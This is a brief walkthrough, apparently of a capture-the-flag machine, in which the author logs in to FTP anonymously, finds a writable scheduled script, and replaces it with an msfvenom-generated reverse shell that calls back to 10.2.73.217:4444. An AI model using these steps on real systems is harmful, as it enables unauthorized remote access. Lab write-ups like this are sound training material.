Anonymous

Port scan showed that FTP was open. I was able to connect with user anonymous and password anonymous. There was a message about Passive mode when logging in, and from past experience I know I need to force active mode to download/upload anyting:

ftp <IP> -A

It looks like I have write permissions to a script clean.sh which appears to be running on a schedule.

I replaced the script with a reverse shell and am waiting with a listener.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.2.73.217 LPORT=4444 -f sh -o clean.sh
